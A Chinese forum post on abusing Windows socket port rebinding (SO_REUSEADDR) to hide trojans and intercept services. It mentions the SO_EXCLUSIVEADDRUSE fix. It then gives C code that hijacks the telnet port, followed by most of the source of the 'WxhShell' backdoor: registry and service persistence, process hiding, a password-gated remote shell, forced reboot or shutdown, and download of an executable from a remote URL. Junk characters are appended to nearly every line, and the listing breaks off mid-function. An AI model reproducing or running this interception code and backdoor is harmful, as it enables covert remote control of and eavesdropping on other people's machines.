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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &9)\wnOS  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); UZsH9 o  
^ovR7+V  
  saddr.sin_family = AF_INET; \K!VNB>h  
8pgEix/M5o  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9 |vLwQ  
hfy_3}_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Q)[C?obd v  
#ucBo<[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 igR";OQk  
/Mu @,)''  
  这意味着什么?意味着可以进行如下的攻击: .h4 \Y A  
)TH@# 1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5N&?KA-  
~La>?:g <+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) l2P=R)@{  
:zF,A,)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9j9TPyC/2  
:A'y+MnK<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .=jay{  
pD#rnp>WWt  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 e&aWq@D  
)f<z% :I+Z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 fDU!~/#  
vTzlwK\#1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  O+Y6N  
eM?I$ePTN  
  #include _8_R 1s  
  #include *6DB0X_-}  
  #include FE|JHh$  
  #include    "mvt>X  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (rm?jDm   
  int main() l&Q`wR5e  
  { *.d)OOpLo  
  WORD wVersionRequested; l3I:Q^x@  
  DWORD ret; 4 VW[E1<  
  WSADATA wsaData; }oGA-Qc}B  
  BOOL val; "]b<uV  
  SOCKADDR_IN saddr; FSW_<%  
  SOCKADDR_IN scaddr;  DwE[D]7o  
  int err; [;) ,\\u,d  
  SOCKET s; f5VLw`m}.8  
  SOCKET sc; EVC]sUT  
  int caddsize; 0*D$R`$  
  HANDLE mt; CD ( :jM?  
  DWORD tid;   65$+{s  
  wVersionRequested = MAKEWORD( 2, 2 ); z !rL s76  
  err = WSAStartup( wVersionRequested, &wsaData ); LR.<&m%~.  
  if ( err != 0 ) { 2?ez,*-[  
  printf("error!WSAStartup failed!\n"); )g#T9tx2D  
  return -1; .jT#:_  
  } c?[I?ytl  
  saddr.sin_family = AF_INET; G[I"8iS,  
   =Qj{T  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *Y7u'v  
9u}Hmb  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); rgtT~$S  
  saddr.sin_port = htons(23); W^LY'ypT  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Tc`=f'pP)4  
  { Ep3N&Imp  
  printf("error!socket failed!\n"); Y}|X|!0x  
  return -1; F {4bo$~>  
  } >T3-  
  val = TRUE; rkCx{pe9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 n QZwC  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `l){!rg8IC  
  { gANuBWh8T  
  printf("error!setsockopt failed!\n"); H-*yh!  
  return -1; _w+:Dv~*a  
  } V0.vQ/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `WFw3TI  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Pz|>"'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A,hJIe  
j2.|ln"!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) j0S# >t  
  { ju8q?Nyhs  
  ret=GetLastError(); >xYpNtEs  
  printf("error!bind failed!\n"); FvXZ<(A{  
  return -1; l2rd9 -T  
  } u4F5h PO]  
  listen(s,2); =eXU@B  
  while(1) wyj{zWRJp  
  { L Mbn  
  caddsize = sizeof(scaddr); #crQ1p) \  
  //接受连接请求 %D}kD6=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (%e .:W${  
  if(sc!=INVALID_SOCKET) xPk8$1meZM  
  { wb5baY9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )Y6 +  
  if(mt==NULL) R_ ,UMt  
  { M!A}NWF  
  printf("Thread Creat Failed!\n"); kmsb hYM)  
  break; i,E{f  
  } ZQoU3AD;  
  } k,E{C{^M  
  CloseHandle(mt); <+Dn8  
  } l7259Ro~  
  closesocket(s); Ym{tR,g7  
  WSACleanup(); ZaDyg"Tw+  
  return 0; w\}ieI8J  
  }   4Lh!8g=/  
  DWORD WINAPI ClientThread(LPVOID lpParam) j4qR(p(vC  
  { k)= X}=w  
  SOCKET ss = (SOCKET)lpParam; DV+xg3\(>1  
  SOCKET sc; $@Rxrx_@M  
  unsigned char buf[4096]; YEs&  
  SOCKADDR_IN saddr; fc%xS7&  
  long num; KL:j?.0  
  DWORD val; I<4Pur>"  
  DWORD ret; !M]uL&:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1i"WDu*h3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   D>@I+4{p  
  saddr.sin_family = AF_INET;  |`f$tj  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `d +Da=L  
  saddr.sin_port = htons(23); ?m=N]!n  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +EAsW(F1  
  { k\YG^I  
  printf("error!socket failed!\n"); 2d(e:r h]  
  return -1; FQ2  
  } *{@Nq=fE  
  val = 100; trA4R/ &  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *@r/5pM2}  
  { Ar|0b}=)>  
  ret = GetLastError(); WZejp}x  
  return -1; g^2OkV(  
  } }6}l7x  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3!Ij;$  
  { BB$>h}  
  ret = GetLastError(); i2A81>68<  
  return -1; eRstD>r  
  } Z{Qu<vy_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }wjw:M  
  { ;Ax }KN7  
  printf("error!socket connect failed!\n"); fZzoAzfv2  
  closesocket(sc); z'U1bMg  
  closesocket(ss); `$<.pOm  
  return -1; 9y8&9<#  
  }  O67W&nz  
  while(1) <X^@*79m  
  { /-qNh >v4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]G= L=D^cK  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 omu|yCK  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 V-2(?auZd  
  num = recv(ss,buf,4096,0); +wU@ynw  
  if(num>0) D~fl JR  
  send(sc,buf,num,0); (sTpmQx,b  
  else if(num==0) UiP"Ixg6  
  break; l0w]`EE  
  num = recv(sc,buf,4096,0); 82qoGSD.  
  if(num>0) "]x'PI 4J  
  send(ss,buf,num,0); d-ZJL6-  
  else if(num==0) SC!RbW@3  
  break; >d*@_ kJM  
  } Jk11fn;\>  
  closesocket(ss); q[ZTHd.-  
  closesocket(sc); ")5":V~fN  
  return 0 ; r:'.nhe  
  } w"|L:8  
 6f>{"'  
KVaiugQ   
========================================================== r~8 $1"  
3E]plj7$  
下边附上一个代码,,WXhSHELL ]t,BMu=%  
cN6X#D  
========================================================== Hqx-~hQO  
P {jbl!UD7  
#include "stdafx.h" CL;}IBd a  
uEP*iPLD@  
#include <stdio.h> J#(LlCs?@c  
#include <string.h> 8z`G,qh  
#include <windows.h> mb3"U"ohs  
#include <winsock2.h> IGQFtO/x  
#include <winsvc.h> 'n]w"]|  
#include <urlmon.h> gp?uHKsM  
1D7 `YKI9h  
#pragma comment (lib, "Ws2_32.lib") /NFj(+&g+  
#pragma comment (lib, "urlmon.lib") qkY:3Ozw  
70nqD>M4  
#define MAX_USER   100 // 最大客户端连接数 5yo%$i8I  
#define BUF_SOCK   200 // sock buffer P=Jo+4O  
#define KEY_BUFF   255 // 输入 buffer n\'4  
XJ\DVZ  
#define REBOOT     0   // 重启 @ioJ] $o7  
#define SHUTDOWN   1   // 关机 S Lj!v&'  
$6 9&O  
#define DEF_PORT   5000 // 监听端口 k5e;fA/w  
 KC6.Fr{  
#define REG_LEN     16   // 注册表键长度 b3[!V{|  
#define SVC_LEN     80   // NT服务名长度 zxl@(h d  
Y =I'czg  
// 从dll定义API QO~P7r|A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P>D)7 V9Hh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =BAr .m+"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TDjm2R~9FS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HM1Fz\Sf  
~jk|4`I?T  
// wxhshell配置信息 ie95rZp  
struct WSCFG { 0i>5<ej,f  
  int ws_port;         // 监听端口 ED( Sg  
  char ws_passstr[REG_LEN]; // 口令 FVbb2Y?R  
  int ws_autoins;       // 安装标记, 1=yes 0=no *OsQ}onv  
  char ws_regname[REG_LEN]; // 注册表键名 5Ln,{vsv  
  char ws_svcname[REG_LEN]; // 服务名 ueWEc^_>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [ l??A3G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B dfwa  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Iyn(?w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |SSSH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JFmC\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Qd{CMm x  
AV]2 euyn  
}; 1R%.p7@5QU  
*:7rdzn  
// default Wxhshell configuration ~,Ix0h+H+M  
struct WSCFG wscfg={DEF_PORT, ^uc=f2=>,  
    "xuhuanlingzhe", eM6<%?b  
    1, | YWD8 +  
    "Wxhshell", Ic<2QknmP  
    "Wxhshell", {}przrU^c  
            "WxhShell Service", Q3~H{)[Kq  
    "Wrsky Windows CmdShell Service", i&fuSk EP  
    "Please Input Your Password: ", 9W5lSX#^;  
  1, vI >w e  
  "http://www.wrsky.com/wxhshell.exe", oZgjQM$YP  
  "Wxhshell.exe" vA{-{Q  
    }; ]F~dlH1Wp  
9.-S(ZO  
// 消息定义模块 0[(8   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !;A\.~-!G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `U_)98  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Wn2NMXK  
char *msg_ws_ext="\n\rExit."; >tr}|>  
char *msg_ws_end="\n\rQuit."; cV6D<,)  
char *msg_ws_boot="\n\rReboot..."; tcI*a>  
char *msg_ws_poff="\n\rShutdown..."; Dz/ "M=  
char *msg_ws_down="\n\rSave to "; 7n<{tM  
+O{*M9 B  
char *msg_ws_err="\n\rErr!"; 2/^3WY1U  
char *msg_ws_ok="\n\rOK!"; $s:aW^k  
qyTU8Wp  
char ExeFile[MAX_PATH]; (L&d!$,Dv  
int nUser = 0; {;1\+ f  
HANDLE handles[MAX_USER]; XpHrt XD  
int OsIsNt; #;yZ  
wi=v}R_  
SERVICE_STATUS       serviceStatus; gwMNYMI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P= NDS2  
lL3U8}vn  
// 函数声明 oMa6(3T?E  
int Install(void); kDxFloK  
int Uninstall(void); >kVz49j  
int DownloadFile(char *sURL, SOCKET wsh); Y$_B1_  
int Boot(int flag); PJH&  
void HideProc(void); #\m<Sz5Gp#  
int GetOsVer(void); #*Ctwl,T  
int Wxhshell(SOCKET wsl); VTE .^EK!  
void TalkWithClient(void *cs); F JyT+  
int CmdShell(SOCKET sock); +mn[5Y}:  
int StartFromService(void); zrb}_  
int StartWxhshell(LPSTR lpCmdLine); `|q(h Ow2  
kuP(r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6i/(5 nQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5\ nAeP  
|CyE5i0  
// 数据结构和表定义 sPIn|d  
SERVICE_TABLE_ENTRY DispatchTable[] =  b>ySv  
{ > ~O.@|  
{wscfg.ws_svcname, NTServiceMain}, _t^&Ah*  
{NULL, NULL} <LiPEo.R  
}; WNtW|I V  
\9T7A&  
// 自我安装 nu%*'.  
int Install(void) OneY_<*a<  
{ ~t~|"u"P  
  char svExeFile[MAX_PATH]; WpvhTX  
  HKEY key; M_DwUS 1?  
  strcpy(svExeFile,ExeFile); +ZP7{%  
"w<#^d_6  
// 如果是win9x系统,修改注册表设为自启动 9pfIzs su3  
if(!OsIsNt) { (E1~H0^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1 'Dai`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8}:nGK|kx  
  RegCloseKey(key); -Q Nh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `R^gU]Z,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $F.a><1rY  
  RegCloseKey(key); ;O,jUiQ  
  return 0; %WS+(0*1  
    } @H8EWTZ  
  } v3>UV8c'  
} ]ZS OM\}  
else { Ow,b^|  
FS1z`wYP  
// 如果是NT以上系统,安装为系统服务 J'r^/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |R:'\+E  
if (schSCManager!=0) qH_Dc=~la  
{ \i &<s;  
  SC_HANDLE schService = CreateService Tlr v={  
  ( oXgcc*j  
  schSCManager, 6Kz,{F@  
  wscfg.ws_svcname, tZo} ;|~'  
  wscfg.ws_svcdisp, $ocdI5  
  SERVICE_ALL_ACCESS, A3*!"3nU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2X&qE}%k S  
  SERVICE_AUTO_START, |y!A&d=xYn  
  SERVICE_ERROR_NORMAL, *VN6cSq  
  svExeFile, q@2siI~W  
  NULL, EoDA]6?Lj  
  NULL, ?aMOZn?  
  NULL, lu/ (4ED  
  NULL, &%Tj/Qx  
  NULL ySI !d|_  
  ); 7 X4LJf  
  if (schService!=0) 1h5 Akq  
  { i@J ;G`  
  CloseServiceHandle(schService); 9N3eN  
  CloseServiceHandle(schSCManager); ^<AwG=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }ad|g6i`  
  strcat(svExeFile,wscfg.ws_svcname); jc9y<{~x/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U m+8"W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i}?>g-(  
  RegCloseKey(key); #.[k=dj   
  return 0; >LuYHr  
    } :M5l*sIO2  
  } T[j,UkgGo  
  CloseServiceHandle(schSCManager); yV(\R  
} rrv%~giU  
} <9 ;!3xG  
HpnWo DM  
return 1; Rx}Gz$   
} !f6(Zho  
bN@ l?w  
// 自我卸载 BsJC0I(  
int Uninstall(void) H>@+om  
{ n(]-y@X0_  
  HKEY key; W@!S%Y9  
hR|MEn6KC  
if(!OsIsNt) { #3d(M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >&k-'`Nw  
  RegDeleteValue(key,wscfg.ws_regname); pD]OT-8  
  RegCloseKey(key); POR\e|hRT]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X[TR3[1}  
  RegDeleteValue(key,wscfg.ws_regname); FC"8#*x  
  RegCloseKey(key); }o{(S%%  
  return 0; 8HdAFRw  
  } E1f\%!2l  
} dC4'{ n|7  
} Ecx<OTo  
else { >-{Hyx  
\D&KC,i5f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xn|(9#1o  
if (schSCManager!=0) M& CqSd  
{ <b<j=_3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;6hOx(>`=  
  if (schService!=0) L4?IHNB  
  { '[O;zJN;  
  if(DeleteService(schService)!=0) { C2)2)  
  CloseServiceHandle(schService); aFIw=c(nP  
  CloseServiceHandle(schSCManager); P L+sR3bR  
  return 0; B,fo(kG  
  } .w ,q0<}  
  CloseServiceHandle(schService); /|&*QLy  
  } 8e"gW >f  
  CloseServiceHandle(schSCManager); /JU.?M35  
} ]jRfH(i  
} ?b5 ^  
]"1DGg \A  
return 1; eKqk= (  
} qb` \)X]9  
eQvg7aO;  
// 从指定url下载文件 B4 8={  
int DownloadFile(char *sURL, SOCKET wsh) ~.lPEA %%  
{ fLAw12;^  
  HRESULT hr; Mh 7DV  
char seps[]= "/"; w"&n?L  
char *token; fa2kG&, _  
char *file; 9k[9P;"F:  
char myURL[MAX_PATH]; O!bOp=  
char myFILE[MAX_PATH]; %GIr&V4|  
01(AK%e  
strcpy(myURL,sURL); 5d!-G$ @  
  token=strtok(myURL,seps); &XUiKnNW  
  while(token!=NULL)  qA5r  
  { {P#|zp4C{  
    file=token; %BB%pC  
  token=strtok(NULL,seps); wJY'  
  } j^2j& Ta  
Tkgs]q79  
GetCurrentDirectory(MAX_PATH,myFILE); yyy|Pw4:Z  
strcat(myFILE, "\\"); X+]G-  
strcat(myFILE, file); QUQ'3  
  send(wsh,myFILE,strlen(myFILE),0); "`1bA"E  
send(wsh,"...",3,0); #@nezu2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K@w{"7}  
  if(hr==S_OK) URbletSBQ  
return 0; l0i^uMS  
else k2UVm$}u  
return 1; r^ ZEImjc  
07=mj%yV  
} 4)o  
0h7r&t%YsV  
// 系统电源模块 w_u\sSQ`!  
int Boot(int flag) CYYU 7  
{ ijx0gh`~  
  HANDLE hToken; (7=9++uU  
  TOKEN_PRIVILEGES tkp; c6]D-YNF G  
-v|qZ'  
  if(OsIsNt) { HT1!5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); by/jYg)+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3I-MdApT  
    tkp.PrivilegeCount = 1; Y,zxbXZv'5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Gjo`&#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B~Xw[q  
if(flag==REBOOT) { W-zP/]Dh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _b;{_g  
  return 0; 1c{DY  
} e'D&8z_;  
else { ^eYVWQ'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &H:(z4/  
  return 0; t |A-9^t'!  
} WbqWG^W  
  } fMyti$1~  
  else { -5QZJF2~  
if(flag==REBOOT) { 3 xp)a%=7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i5,kd~%O  
  return 0; [-oc>; `=l  
} E\pL!c  
else { c.F6~IHu7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !5uGd`^I  
  return 0; 9\JF`ff_  
} l$bu%SZ  
} =^50FI|  
cY.bO/&l  
return 1; _X"N1,0  
} B%+T2=&$7  
V-L"gnd&2  
// win9x进程隐藏模块 n$,*|_$#  
void HideProc(void) L.0mk_&  
{ 'qX|jtdM  
H@8sNV/u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2JcjZn  
  if ( hKernel != NULL ) PxkO T*  
  { %m$Sp47  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P:]^rke~&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +l{=  
    FreeLibrary(hKernel); uw +M  
  } yT9@!]^L  
7!TueP0Zd  
return; eHNyNVz  
} h/hmlnOQl  
_#8RSr8'y  
// 获取操作系统版本 <.izVD4/Gg  
int GetOsVer(void) ' x35=@  
{ p hzKm9  
  OSVERSIONINFO winfo; s 3f-7f<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6 EC*   
  GetVersionEx(&winfo); 3/W'V,5G6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q0r>2c-d  
  return 1; :~N-.#  
  else H{?vbqQ  
  return 0; K\6u9BYG  
} MC:@U~}6  
;{tj2m,  
// 客户端句柄模块 A='N=^Pm  
int Wxhshell(SOCKET wsl) \k!{uRy'  
{ q0R -7O(  
  SOCKET wsh; kH7(@Pa  
  struct sockaddr_in client; ^pF&` 2eD  
  DWORD myID; mtmjZP(w   
LKOwxF#TKT  
  while(nUser<MAX_USER) `q*M4,  
{ H0`]V6+<f  
  int nSize=sizeof(client); (VEpVn3{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .|b$NM  
  if(wsh==INVALID_SOCKET) return 1; "8^ Ch{G-  
sAS:-wp  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *XbEiMJ  
if(handles[nUser]==0) 4UvZ)^r  
  closesocket(wsh); _Wq  
else Q1 $^v0-)  
  nUser++; \T:i{.i  
  } ,J^b0@S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VZymM<O  
^!ZC?h!rG  
  return 0; 92x(u%~E  
} 7k9G(i[-+  
RcM/!,B  
// 关闭 socket [~#WG/!:  
void CloseIt(SOCKET wsh) 1o;J,dYu  
{ 4N zwE(  
closesocket(wsh); _'>oXQJ  
nUser--; X#TQ_T"  
ExitThread(0); B!_mC<*4`X  
} p~^D\jR.  
>qjq=Ege  
// 客户端请求句柄 lpeEpI/gM  
void TalkWithClient(void *cs) ],FMwCI  
{ `YLD`(\  
Q$1bWUS&  
  SOCKET wsh=(SOCKET)cs; 8WbgSY`  
  char pwd[SVC_LEN]; Vp*KfS]  
  char cmd[KEY_BUFF]; %]DP#~7[|  
char chr[1]; 2w_WAdi  
int i,j; Ba*,-i3ZK  
o+QE8H43  
  while (nUser < MAX_USER) { PQnF  
l(u.I2^o  
if(wscfg.ws_passstr) { 5JCG2jqx0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;"fDUY|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t2"O  
  //ZeroMemory(pwd,KEY_BUFF); EQ`(yj  
      i=0; L[H5NUG!  
  while(i<SVC_LEN) { h[1MtmNw  
D@|W<i-  
  // 设置超时 /#-C4"|  
  fd_set FdRead; $8xl#SqH  
  struct timeval TimeOut; dC $Em@Nb  
  FD_ZERO(&FdRead); ?R Oqn6k&c  
  FD_SET(wsh,&FdRead); /<}m? k\  
  TimeOut.tv_sec=8; OK6] e3UO  
  TimeOut.tv_usec=0; v:o({Y 1Aq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SAK!z!t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RGg(%.  
NufLzg{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ( Qcp{q  
  pwd=chr[0]; ll6wpV0m  
  if(chr[0]==0xd || chr[0]==0xa) { TUDr\' @/f  
  pwd=0; 8p9bCE>\  
  break; y[\VUzD*'  
  } ]Nl=wZ#`  
  i++; HA`@7I  
    } vj\dA2!~  
n9A7K$ZD@  
  // 如果是非法用户,关闭 socket 8` @G;o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T/xp?Vq6/  
} Tekfw  
/yF QeE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PSVc+s[Q+V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GXjfQ~<]  
!Mim@!5M  
while(1) { }_;!hdY q  
\XM^oE#G  
  ZeroMemory(cmd,KEY_BUFF); c`WHNky%j  
9}uW}yJ  
      // 自动支持客户端 telnet标准   DrBUe'RH:M  
  j=0; %]6~Eq%s  
  while(j<KEY_BUFF) { $m+sNEAa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >O?U= OeD  
  cmd[j]=chr[0]; 9Xl5@%uz?z  
  if(chr[0]==0xa || chr[0]==0xd) { 4RV%Z!kcD!  
  cmd[j]=0; \eb|eN0i  
  break; {g~bQ2wDC  
  } d/|D<Sb[s  
  j++; \, &co  
    } Ns0cgCrhX  
YJ/zU52JK~  
  // 下载文件 Da:unVbU  
  if(strstr(cmd,"http://")) { I}t3 p|z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VX+jadYdq  
  if(DownloadFile(cmd,wsh)) b0A1hb[|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qb; d:@9  
  else "+ >SJ~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'vq:D$A  
  } N, *m ,  
  else { {W~q z^>u4  
@~"an qT`  
    switch(cmd[0]) { Ppt2A6W  
  sf|ke9-3  
  // 帮助 ND,Kldji  
  case '?': { 5"]~oPK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nG, U>)  
    break; c.f"Gv  
  } f%)zg(YlO  
  // 安装 %#Z/2<_  
  case 'i': { z rv#Xa!O\  
    if(Install()) $DC*i-}qFg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zT|)uP*  
    else 2Nm>5l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :BukUket1e  
    break; uV hCxUMQ  
    } `)h6j)xiQ  
  // 卸载 TLf9>= OVh  
  case 'r': { IU]^&e9u  
    if(Uninstall()) ~!d/8?!   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -l-E_6|/W  
    else ^*= 85iyo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a=$t&7;,  
    break; :!f(F9  
    } \[>9UC%  
  // 显示 wxhshell 所在路径 =GBI0&U  
  case 'p': { I.@hW>k  
    char svExeFile[MAX_PATH]; {"H2 :-t<  
    strcpy(svExeFile,"\n\r"); u@P[Vb   
      strcat(svExeFile,ExeFile); NHgjRP z"  
        send(wsh,svExeFile,strlen(svExeFile),0); L~/qGDXC?  
    break; LaIJ1jf  
    } MfBdNdox7  
  // 重启 Q U F$@)A  
  case 'b': { ]G}B 0u3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); desThnT w  
    if(Boot(REBOOT)) -g/hAxb5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =AEz9d ciS  
    else { Na,_  
    closesocket(wsh); >71&]/Rv  
    ExitThread(0);  <n\`d  
    } B 2 .q3T  
    break; V' 2EPYB  
    } Hj1 EGCA  
  // 关机 DrvtH+e  
  case 'd': { &~f3psA  
